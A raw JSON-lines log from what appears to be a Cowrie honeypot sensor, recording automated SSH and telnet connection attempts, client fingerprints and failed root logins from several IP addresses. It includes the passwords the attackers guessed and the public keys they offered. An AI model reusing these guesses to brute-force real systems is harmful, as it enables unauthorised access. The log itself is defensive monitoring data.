{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:ae:68:c5:7b:7c:8f:d8:53:c7:33:fe:0a:27:12:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0E2zUc8DKGm8MWSv0O41BzAb2fpCiTEIpaUnHWckdzTGOf1M55BGC+b2dgbEReMXfDMxfPW9XqdV5jSqYQW9YjhmOZFlNxcp11Lpdr1RdFp5uh3meaTmdwabuEub9dSSa4MDMZGLhb0cHCE3/zxCLk+TL3571snPhGWD4DNF10dU63J/z+Q5mBe7wk2yt0jHIBND6DB2n5Yi/2sdL5WgmfKgGbH1Rkx9S711WkMhyJgV5q0BrthM/wuaKqfVx6Qo8rDKxz6/PGJyoj3LVIwj1utuK4mTxNHoe0A41WY4smlNDq0enHS41t/H8N73wpuvnVVuy1nCa6ImsNtvRJEob","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:ae:68:c5:7b:7c:8f:d8:53:c7:33:fe:0a:27:12:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.202805Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:ae:68:c5:7b:7c:8f:d8:53:c7:33:fe:0a:27:12:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0E2zUc8DKGm8MWSv0O41BzAb2fpCiTEIpaUnHWckdzTGOf1M55BGC+b2dgbEReMXfDMxfPW9XqdV5jSqYQW9YjhmOZFlNxcp11Lpdr1RdFp5uh3meaTmdwabuEub9dSSa4MDMZGLhb0cHCE3/zxCLk+TL3571snPhGWD4DNF10dU63J/z+Q5mBe7wk2yt0jHIBND6DB2n5Yi/2sdL5WgmfKgGbH1Rkx9S711WkMhyJgV5q0BrthM/wuaKqfVx6Qo8rDKxz6/PGJyoj3LVIwj1utuK4mTxNHoe0A41WY4smlNDq0enHS41t/H8N73wpuvnVVuy1nCa6ImsNtvRJEob","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.210578Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:98:63:41:85:03:d5:62:b4:d3:d0:c9:9d:90:c7:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW78nyN93sziefn1i1EmfXln8ntlefr3C6Ss7rrJbv0nItdrr7t0yX7At2EK6U/ZGLPQoGtmZT6HaD5+l7yJK30FwXhQLJNiibvb58+U2txj64RiJD/xij8MTpoD0UyPUPRq5I6f+IouFsuEyJvWKZZWAYMxWK93+a/agfbmlOaVVhvURd6LvVbd74PAoK2tHNXZEDFEcaGCC8Ubumaxa80JWHh9HZcLRoRxN7UAl6J1KvncevIBq9p9+N0T8Y+4Wabg2TdC8yJTyCLS8+obXOk3FBVMEqsYfPMnnaUJR8RQQUGXfm5L5zgq070fHmltKmdauA279VewLhbJFLV74n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:98:63:41:85:03:d5:62:b4:d3:d0:c9:9d:90:c7:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.294095Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:98:63:41:85:03:d5:62:b4:d3:d0:c9:9d:90:c7:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW78nyN93sziefn1i1EmfXln8ntlefr3C6Ss7rrJbv0nItdrr7t0yX7At2EK6U/ZGLPQoGtmZT6HaD5+l7yJK30FwXhQLJNiibvb58+U2txj64RiJD/xij8MTpoD0UyPUPRq5I6f+IouFsuEyJvWKZZWAYMxWK93+a/agfbmlOaVVhvURd6LvVbd74PAoK2tHNXZEDFEcaGCC8Ubumaxa80JWHh9HZcLRoRxN7UAl6J1KvncevIBq9p9+N0T8Y+4Wabg2TdC8yJTyCLS8+obXOk3FBVMEqsYfPMnnaUJR8RQQUGXfm5L5zgq070fHmltKmdauA279VewLhbJFLV74n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.298501Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:e6:86:f6:5d:68:98:b6:6d:f9:80:f7:7d:22:b6:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEJuSsT7aTDFVZGsgvMq2jpTG4jx0mLxbQ7644ZEuDO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ab:e6:86:f6:5d:68:98:b6:6d:f9:80:f7:7d:22:b6:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.380440Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:e6:86:f6:5d:68:98:b6:6d:f9:80:f7:7d:22:b6:6c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEJuSsT7aTDFVZGsgvMq2jpTG4jx0mLxbQ7644ZEuDO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.384337Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:f0:4c:4e:64:b6:9e:9e:c4:2f:ad:3d:63:8b:7a:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1IN8+V6VnyJqPbFBQxFFHusBt496ytY5nOWxPifFA1ngtkn0dG/9dKv5zsIvhGHqm9Mw+EgMYRj5c2OkWQ/o/esBq/t152UQYc7w2/ulRFm3OGxd8uHz/0I31TPqM9dDSp+RpE0ceUlL58y1uJV9MovzKhsxj5mlAvpwhN1RANjqDc68UHtuDnWebYYzQwjzRyKj0zyCWzgSRcDUugD1aGfIDFgTiNKWi89u3fC5Bb/nBWSpodbzWnLrKAQTP4tPckMqUmb+L16wyKU2hfFMETFl4jOtFHK7iLvf4k3ChJjHMnaRIPc/xHYzMHEJbiQiF5qJs0acfUwNGva10045AAZLCBQGsZyzb2wc45j1zjpQ1pAVQdLKTCWnEYy5YwKFM+UZ+GRqs9/qwMuPeXINYqdWJfKYp1Suun8Upz/0UF82knzrje9+HLZvcL0ER94Y1vvtfB7Oi7mgUAh5CCSh1X37PglcOUCZaivtit6QnCwBeuWz3e6Lp4lMWyW+WhwMmk2FV5D09wD5LHbKnJXSC+GAgS0KmEjyC93OV5vFJgyfxpxdVu7d3mycqS/hcysJ00Yu3BVLZFuE+8CHZunKPIoCnuc3vf3zdZnFQ7Jww2EPj7qJYA7ALgQfCbEt3q10akJj5qZyWXFIS9Pt+6pWnyNfDyWF4865B+D4MJczjKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:f0:4c:4e:64:b6:9e:9e:c4:2f:ad:3d:63:8b:7a:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.466210Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:f0:4c:4e:64:b6:9e:9e:c4:2f:ad:3d:63:8b:7a:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1IN8+V6VnyJqPbFBQxFFHusBt496ytY5nOWxPifFA1ngtkn0dG/9dKv5zsIvhGHqm9Mw+EgMYRj5c2OkWQ/o/esBq/t152UQYc7w2/ulRFm3OGxd8uHz/0I31TPqM9dDSp+RpE0ceUlL58y1uJV9MovzKhsxj5mlAvpwhN1RANjqDc68UHtuDnWebYYzQwjzRyKj0zyCWzgSRcDUugD1aGfIDFgTiNKWi89u3fC5Bb/nBWSpodbzWnLrKAQTP4tPckMqUmb+L16wyKU2hfFMETFl4jOtFHK7iLvf4k3ChJjHMnaRIPc/xHYzMHEJbiQiF5qJs0acfUwNGva10045AAZLCBQGsZyzb2wc45j1zjpQ1pAVQdLKTCWnEYy5YwKFM+UZ+GRqs9/qwMuPeXINYqdWJfKYp1Suun8Upz/0UF82knzrje9+HLZvcL0ER94Y1vvtfB7Oi7mgUAh5CCSh1X37PglcOUCZaivtit6QnCwBeuWz3e6Lp4lMWyW+WhwMmk2FV5D09wD5LHbKnJXSC+GAgS0KmEjyC93OV5vFJgyfxpxdVu7d3mycqS/hcysJ00Yu3BVLZFuE+8CHZunKPIoCnuc3vf3zdZnFQ7Jww2EPj7qJYA7ALgQfCbEt3q10akJj5qZyWXFIS9Pt+6pWnyNfDyWF4865B+D4MJczjKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.472378Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:48:18:81:07:eb:93:64:6b:b2:ea:46:b2:7a:db:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiQWVrya5ORGAW/MqXs+Pb/terw+PLQKicvXz5nVTk6Cz6G/iD7LUFFcQuAtHyTYnGFvsoinh2O06sr6cV0cH0l5gsZoUYd8V/Y0mz73FFE6nuCJXnysoaZj10An2kqCqidWthBvvrzktk2zkfIVfIz1ZwOBQFFom9+MQZEBUL/DnxHeNGS3/OELdwX9AxKufw/k9FHMo5Ke+uaIm+K1YypOMTBP1S0DqwncGsGbOdoI6u2aEGgeDnOm/R6NCNX4Suo9BuXfLRI4Bg38D1juIzQhPosChzlhZEdBRaNy0qQQZB2i/5KZueazRsAn3sjYknfnBVXHm3bXivDufiyqxT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:48:18:81:07:eb:93:64:6b:b2:ea:46:b2:7a:db:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.555418Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:48:18:81:07:eb:93:64:6b:b2:ea:46:b2:7a:db:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiQWVrya5ORGAW/MqXs+Pb/terw+PLQKicvXz5nVTk6Cz6G/iD7LUFFcQuAtHyTYnGFvsoinh2O06sr6cV0cH0l5gsZoUYd8V/Y0mz73FFE6nuCJXnysoaZj10An2kqCqidWthBvvrzktk2zkfIVfIz1ZwOBQFFom9+MQZEBUL/DnxHeNGS3/OELdwX9AxKufw/k9FHMo5Ke+uaIm+K1YypOMTBP1S0DqwncGsGbOdoI6u2aEGgeDnOm/R6NCNX4Suo9BuXfLRI4Bg38D1juIzQhPosChzlhZEdBRaNy0qQQZB2i/5KZueazRsAn3sjYknfnBVXHm3bXivDufiyqxT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.559061Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:01.652107Z","src_ip":"87.121.69.138","session":"847ac0efc4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42942,"dst_ip":"10.17.0.5","dst_port":22,"session":"84de087bc15c","protocol":"ssh","message":"New connection: 103.176.20.57:42942 (10.17.0.5:22) [session: 84de087bc15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:31.418818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:31.423771Z","src_ip":"103.176.20.57","session":"84de087bc15c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:31.672092Z","src_ip":"103.176.20.57","session":"84de087bc15c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newdom","message":"login attempt [root/newdom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:32.419053Z","src_ip":"103.176.20.57","session":"84de087bc15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:33.671800Z","src_ip":"103.176.20.57","session":"84de087bc15c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":32902,"dst_ip":"10.17.0.5","dst_port":22,"session":"583268216ea7","protocol":"ssh","message":"New connection: 103.149.28.157:32902 (10.17.0.5:22) [session: 583268216ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:46.766967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:46.771008Z","src_ip":"103.149.28.157","session":"583268216ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:47.020085Z","src_ip":"103.149.28.157","session":"583268216ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cegthvty","message":"login attempt [root/cegthvty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:47.767592Z","src_ip":"103.149.28.157","session":"583268216ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:42:49.020880Z","src_ip":"103.149.28.157","session":"583268216ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59574,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f3cf19113f","protocol":"ssh","message":"New connection: 62.133.62.83:59574 (10.17.0.5:22) [session: e4f3cf19113f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:02.933949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:02.939139Z","src_ip":"62.133.62.83","session":"e4f3cf19113f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:03.018388Z","src_ip":"62.133.62.83","session":"e4f3cf19113f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"127127","message":"login attempt [root/127127] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:03.257056Z","src_ip":"62.133.62.83","session":"e4f3cf19113f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:04.339489Z","src_ip":"62.133.62.83","session":"e4f3cf19113f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33802,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffebdc8abdb9","protocol":"ssh","message":"New connection: 193.37.70.224:33802 (159.203.135.109:22) [session: ffebdc8abdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:20.470619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:20.475970Z","src_ip":"193.37.70.224","session":"ffebdc8abdb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:20.560558Z","src_ip":"193.37.70.224","session":"ffebdc8abdb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika2000","message":"login attempt [root/vika2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:20.821762Z","src_ip":"193.37.70.224","session":"ffebdc8abdb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:21.909512Z","src_ip":"193.37.70.224","session":"ffebdc8abdb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.31.25.180","src_port":41556,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6e838224f5","protocol":"telnet","message":"New connection: 144.31.25.180:41556 (10.17.0.5:23) [session: 3d6e838224f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:29.548662Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":33434,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2dfbe9ef761","protocol":"ssh","message":"New connection: 89.108.118.91:33434 (10.17.0.5:22) [session: e2dfbe9ef761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:32.264926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:32.274597Z","src_ip":"89.108.118.91","session":"e2dfbe9ef761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:43:32.389463Z","src_ip":"89.108.118.91","session":"e2dfbe9ef761","protocol":"ssh"}
